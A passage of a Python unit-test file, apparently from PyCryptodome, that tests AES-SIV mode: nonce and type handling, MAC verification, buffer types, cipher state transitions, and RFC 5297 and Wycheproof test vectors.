            pt2 = cipher.decrypt_and_verify(ct, mac)
            self.assertEqual(pt, pt2)

    def test_nonce(self):
        # Deterministic encryption
        AES.new(self.key_256, AES.MODE_SIV)

        cipher = AES.new(self.key_256, AES.MODE_SIV, self.nonce_96)
        ct1, tag1 = cipher.encrypt_and_digest(self.data)

        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        ct2, tag2 = cipher.encrypt_and_digest(self.data)
        self.assertEqual(ct1 + tag1, ct2 + tag2)

    def test_nonce_must_be_bytes(self):
        self.assertRaises(TypeError, AES.new, self.key_256, AES.MODE_SIV,
                          nonce=u'test12345678')

    def test_nonce_length(self):
        # nonce can be of any length (but not empty)
        self.assertRaises(ValueError, AES.new, self.key_256, AES.MODE_SIV,
                          nonce=b"")

        for x in range(1, 128):
            cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=bchr(1) * x)
            cipher.encrypt_and_digest(b'\x01')

    def test_block_size_128(self):
        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        self.assertEqual(cipher.block_size, AES.block_size)

    def test_nonce_attribute(self):
        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        self.assertEqual(cipher.nonce, self.nonce_96)

        # By default, no nonce is randomly generated
        self.assertFalse(hasattr(AES.new(self.key_256, AES.MODE_SIV), "nonce"))

    def test_unknown_parameters(self):
        self.assertRaises(TypeError, AES.new, self.key_256, AES.MODE_SIV,
                          self.nonce_96, 7)
        self.assertRaises(TypeError, AES.new, self.key_256, AES.MODE_SIV,
                          nonce=self.nonce_96, unknown=7)

        # But some are only known by the base cipher
        # (e.g. use_aesni consumed by the AES module)
        AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96,
                use_aesni=False)

    def test_encrypt_excludes_decrypt(self):
        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        cipher.encrypt_and_digest(self.data)
        self.assertRaises(TypeError, cipher.decrypt, self.data)

        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        cipher.encrypt_and_digest(self.data)
        self.assertRaises(TypeError, cipher.decrypt_and_verify,
                          self.data, self.data)

    def test_data_must_be_bytes(self):
        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        self.assertRaises(TypeError, cipher.encrypt, u'test1234567890-*')

        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        self.assertRaises(TypeError, cipher.decrypt_and_verify,
                          u'test1234567890-*', b"xxxx")

    def test_mac_len(self):
        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        _, mac = cipher.encrypt_and_digest(self.data)
        self.assertEqual(len(mac), 16)

    def test_invalid_mac(self):
        from Crypto.Util.strxor import strxor_c
        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        ct, mac = cipher.encrypt_and_digest(self.data)

        invalid_mac = strxor_c(mac, 0x01)

        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        self.assertRaises(ValueError, cipher.decrypt_and_verify, ct,
                          invalid_mac)

    def test_hex_mac(self):
        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        mac_hex = cipher.hexdigest()
        self.assertEqual(cipher.digest(), unhexlify(mac_hex))

        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        cipher.hexverify(mac_hex)

    def test_bytearray(self):

        # Encrypt
        key = bytearray(self.key_256)
        nonce = bytearray(self.nonce_96)
        data = bytearray(self.data)
        header = bytearray(self.data)

        cipher1 = AES.new(self.key_256,
                          AES.MODE_SIV,
                          nonce=self.nonce_96)
        cipher1.update(self.data)
        ct, tag = cipher1.encrypt_and_digest(self.data)

        cipher2 = AES.new(key,
                          AES.MODE_SIV,
                          nonce=nonce)
        key[:3] = b'\xFF\xFF\xFF'
        nonce[:3] = b'\xFF\xFF\xFF'
        cipher2.update(header)
        header[:3] = b'\xFF\xFF\xFF'
        ct_test, tag_test = cipher2.encrypt_and_digest(data)

        self.assertEqual(ct, ct_test)
        self.assertEqual(tag, tag_test)
        self.assertEqual(cipher1.nonce, cipher2.nonce)

        # Decrypt
        key = bytearray(self.key_256)
        nonce = bytearray(self.nonce_96)
        header = bytearray(self.data)
        ct_ba = bytearray(ct)
        tag_ba = bytearray(tag)

        cipher3 = AES.new(key,
                          AES.MODE_SIV,
                          nonce=nonce)
        key[:3] = b'\xFF\xFF\xFF'
        nonce[:3] = b'\xFF\xFF\xFF'
        cipher3.update(header)
        header[:3] = b'\xFF\xFF\xFF'
        pt_test = cipher3.decrypt_and_verify(ct_ba, tag_ba)

        self.assertEqual(self.data, pt_test)

    def test_memoryview(self):

        # Encrypt
        key = memoryview(bytearray(self.key_256))
        nonce = memoryview(bytearray(self.nonce_96))
        data = memoryview(bytearray(self.data))
        header = memoryview(bytearray(self.data))

        cipher1 = AES.new(self.key_256,
                          AES.MODE_SIV,
                          nonce=self.nonce_96)
        cipher1.update(self.data)
        ct, tag = cipher1.encrypt_and_digest(self.data)

        cipher2 = AES.new(key,
                          AES.MODE_SIV,
                          nonce=nonce)
        key[:3] = b'\xFF\xFF\xFF'
        nonce[:3] = b'\xFF\xFF\xFF'
        cipher2.update(header)
        header[:3] = b'\xFF\xFF\xFF'
        ct_test, tag_test= cipher2.encrypt_and_digest(data)

        self.assertEqual(ct, ct_test)
        self.assertEqual(tag, tag_test)
        self.assertEqual(cipher1.nonce, cipher2.nonce)

        # Decrypt
        key = memoryview(bytearray(self.key_256))
        nonce = memoryview(bytearray(self.nonce_96))
        header = memoryview(bytearray(self.data))
        ct_ba = memoryview(bytearray(ct))
        tag_ba = memoryview(bytearray(tag))

        cipher3 = AES.new(key,
                          AES.MODE_SIV,
                          nonce=nonce)
        key[:3] = b'\xFF\xFF\xFF'
        nonce[:3] = b'\xFF\xFF\xFF'
        cipher3.update(header)
        header[:3] = b'\xFF\xFF\xFF'
        pt_test = cipher3.decrypt_and_verify(ct_ba, tag_ba)

        self.assertEqual(self.data, pt_test)

    def test_output_param(self):

        pt = b'5' * 128
        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        ct, tag = cipher.encrypt_and_digest(pt)

        output = bytearray(128)
        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        res, tag_out = cipher.encrypt_and_digest(pt, output=output)
        self.assertEqual(ct, output)
        self.assertEqual(res, None)
        self.assertEqual(tag, tag_out)

        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        res = cipher.decrypt_and_verify(ct, tag, output=output)
        self.assertEqual(pt, output)
        self.assertEqual(res, None)

    def test_output_param_memoryview(self):

        pt = b'5' * 128
        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        ct, tag = cipher.encrypt_and_digest(pt)

        output = memoryview(bytearray(128))
        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        cipher.encrypt_and_digest(pt, output=output)
        self.assertEqual(ct, output)

        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        cipher.decrypt_and_verify(ct, tag, output=output)
        self.assertEqual(pt, output)

    def test_output_param_neg(self):
        LEN_PT = 128

        pt = b'5' * LEN_PT
        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        ct, tag = cipher.encrypt_and_digest(pt)

        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        self.assertRaises(TypeError, cipher.encrypt_and_digest, pt, output=b'0' * LEN_PT)

        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        self.assertRaises(TypeError, cipher.decrypt_and_verify, ct, tag, output=b'0' * LEN_PT)

        shorter_output = bytearray(LEN_PT - 1)
        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        self.assertRaises(ValueError, cipher.encrypt_and_digest, pt, output=shorter_output)
        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        self.assertRaises(ValueError, cipher.decrypt_and_verify, ct, tag, output=shorter_output)

class SivFSMTests(unittest.TestCase):

    key_256 = get_tag_random("key_256", 32)
    nonce_96 = get_tag_random("nonce_96", 12)
    data = get_tag_random("data", 128)

    def test_invalid_init_encrypt(self):
        # Path INIT->ENCRYPT fails
        cipher = AES.new(self.key_256, AES.MODE_SIV,
                         nonce=self.nonce_96)
        self.assertRaises(TypeError, cipher.encrypt, b"xxx")

    def test_invalid_init_decrypt(self):
        # Path INIT->DECRYPT fails
        cipher = AES.new(self.key_256, AES.MODE_SIV,
                         nonce=self.nonce_96)
        self.assertRaises(TypeError, cipher.decrypt, b"xxx")

    def test_valid_init_update_digest_verify(self):
        # No plaintext, fixed authenticated data
        # Verify path INIT->UPDATE->DIGEST
        cipher = AES.new(self.key_256, AES.MODE_SIV,
                         nonce=self.nonce_96)
        cipher.update(self.data)
        mac = cipher.digest()

        # Verify path INIT->UPDATE->VERIFY
        cipher = AES.new(self.key_256, AES.MODE_SIV,
                         nonce=self.nonce_96)
        cipher.update(self.data)
        cipher.verify(mac)

    def test_valid_init_digest(self):
        # Verify path INIT->DIGEST
        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        cipher.digest()

    def test_valid_init_verify(self):
        # Verify path INIT->VERIFY
        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        mac = cipher.digest()

        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        cipher.verify(mac)

    def test_valid_multiple_digest_or_verify(self):
        # Multiple calls to digest
        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        cipher.update(self.data)
        first_mac = cipher.digest()
        for x in range(4):
            self.assertEqual(first_mac, cipher.digest())

        # Multiple calls to verify
        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        cipher.update(self.data)
        for x in range(5):
            cipher.verify(first_mac)

    def test_valid_encrypt_and_digest_decrypt_and_verify(self):
        # encrypt_and_digest
        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        cipher.update(self.data)
        ct, mac = cipher.encrypt_and_digest(self.data)

        # decrypt_and_verify
        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        cipher.update(self.data)
        pt = cipher.decrypt_and_verify(ct, mac)
        self.assertEqual(self.data, pt)

    def test_invalid_multiple_encrypt_and_digest(self):
        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        ct, tag = cipher.encrypt_and_digest(self.data)
        self.assertRaises(TypeError, cipher.encrypt_and_digest, b'')

    def test_invalid_multiple_decrypt_and_verify(self):
        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        ct, tag = cipher.encrypt_and_digest(self.data)

        cipher = AES.new(self.key_256, AES.MODE_SIV, nonce=self.nonce_96)
        cipher.decrypt_and_verify(ct, tag)
        self.assertRaises(TypeError, cipher.decrypt_and_verify, ct, tag)

def transform(tv):
    new_tv = [[unhexlify(x) for x in tv[0].split("-")]]
    new_tv += [ unhexlify(x) for x in tv[1:5]]
    if tv[5]:
        nonce = unhexlify(tv[5])
    else:
        nonce = None
    new_tv += [ nonce ]
    return new_tv

class TestVectors(unittest.TestCase):
    """Class exercising the SIV test vectors found in RFC5297"""

    # This is a list of tuples with 5 items:
    #
    #  1. Header + '|' + plaintext
    #  2. Header + '|' + ciphertext + '|' + MAC
    #  3. AES-128 key
    #  4. Description
    #  5. Dictionary of parameters to be passed to AES.new().
    #     It must include the nonce.
    #
    #  A "Header" is a dash ('-') separated sequece of components.
    #
    test_vectors_hex = [
      (
        '101112131415161718191a1b1c1d1e1f2021222324252627',
        '112233445566778899aabbccddee',
        '40c02b9690c4dc04daef7f6afe5c',
        '85632d07c6e8f37f950acd320a2ecc93',
        'fffefdfcfbfaf9f8f7f6f5f4f3f2f1f0f0f1f2f3f4f5f6f7f8f9fafbfcfdfeff',
        None
      ),
      (
        '00112233445566778899aabbccddeeffdeaddadadeaddadaffeeddccbbaa9988' +
        '7766554433221100-102030405060708090a0',
        '7468697320697320736f6d6520706c61696e7465787420746f20656e63727970' +
        '74207573696e67205349562d414553',
        'cb900f2fddbe404326601965c889bf17dba77ceb094fa663b7a3f748ba8af829' +
        'ea64ad544a272e9c485b62a3fd5c0d',
        '7bdb6e3b432667eb06f4d14bff2fbd0f',
        '7f7e7d7c7b7a79787776757473727170404142434445464748494a4b4c4d4e4f',
        '09f911029d74e35bd84156c5635688c0'
      ),
    ]

    test_vectors = [ transform(tv) for tv in test_vectors_hex ]

    def runTest(self):
        for assoc_data, pt, ct, mac, key, nonce in self.test_vectors:

            # Encrypt
            cipher = AES.new(key, AES.MODE_SIV, nonce=nonce)
            for x in assoc_data:
                cipher.update(x)
            ct2, mac2 = cipher.encrypt_and_digest(pt)
            self.assertEqual(ct, ct2)
            self.assertEqual(mac, mac2)

            # Decrypt
            cipher = AES.new(key, AES.MODE_SIV, nonce=nonce)
            for x in assoc_data:
                cipher.update(x)
            pt2 = cipher.decrypt_and_verify(ct, mac)
            self.assertEqual(pt, pt2)

class TestVectorsWycheproof(unittest.TestCase):

    def __init__(self):
        unittest.TestCase.__init__(self)
        self._id = "None"

    def setUp(self):
        self.tv = load_test_vectors_wycheproof(("Cipher", "wycheproof"),
                                               "aes_siv_cmac_test.json",
                                               "Wycheproof AES SIV")

    def shortDescription(self):
        return self._id

    def test_encrypt(self, tv):
        self._id = "Wycheproof Encrypt AES-SIV Test #" + str(tv.id)

        cipher = AES.new(tv.key, AES.MODE_SIV)
        cipher.update(tv.aad)
        ct, tag = cipher.encrypt_and_digest(tv.msg)
        if tv.valid:
            self.assertEqual(tag + ct, tv.ct)

    def test_decrypt(self, tv):
        self._id = "Wycheproof Decrypt AES_SIV Test #" + str(tv.id)

        cipher = AES.new(tv.key, AES.MODE_SIV)
        cipher.update(tv.aad)
        try:
            pt = cipher.decrypt_and_verify(tv.ct[16:], tv.ct[:16])
        except ValueError:
            assert not tv.valid
        else:
            assert tv.valid
            self.assertEqual(pt, tv.msg)

    def runTest(self):

        for tv in self.tv:
            self.test_encrypt(tv)
            self.test_decrypt(tv)

class TestVectorsWycheproof2(unittest.TestCase):

    def __init__(self):
        unittest.TestCase.__init__(self)
        self._id = "None"

    def setUp(self):
        self.tv = load_test_vectors_wycheproof(("Cipher", "wycheproof"),
                                               "aead_aes_siv_cmac_test.json",
                                               "Wycheproof AEAD SIV")

    def shortDescription(self):
        return self._id

    def test_encrypt(self, tv):
        self._id = "Wycheproof Encrypt AEAD-AES-SIV Test #" + str(tv.id)

        cipher = AES.new(tv.key, AES.MODE_SIV, nonce=tv.iv)
        cipher.update(tv.aad)
        ct, tag = cipher.encrypt_and_digest(tv.msg)
        if tv.valid:
            self.assertEqual(ct, tv.ct)
            self.assertEqual(tag, tv.tag)

    def test_decrypt(self, tv):
        self._id = "Wycheproof Decrypt AEAD-AES-SIV Test #" + str(tv.id)

        cipher = AES.new(tv.key, AES.MODE_SIV, nonce=tv.iv)
        cipher.update(tv.aad)
        try:
            pt = cipher.decrypt_and_verify(tv.ct, tv.tag)
        except ValueError:
            assert not tv.valid
        else:
            assert tv.valid
            self.assertEqual(pt, tv.msg)

    def runTest(self):

        for tv in self.tv:
            self.test_encrypt(tv)
            self.test_decrypt(tv)

def get_tests(config={}):
    wycheproof_warnings = config.get('wycheproof_warnings')

    tests = []
    tests += list_test_cases(SivTests)
    tests += list_test_cases(SivFSMTests)
    tests += [ TestVectors() ]
    tests += [ TestVectorsWycheproof() ]
    tests += [ TestVectorsWycheproof2() ]
    return tests

if __name__ == '__main__':
    suite = lambda: unittest.TestSuite(get_tests())
    unittest.main(defaultTest='suite')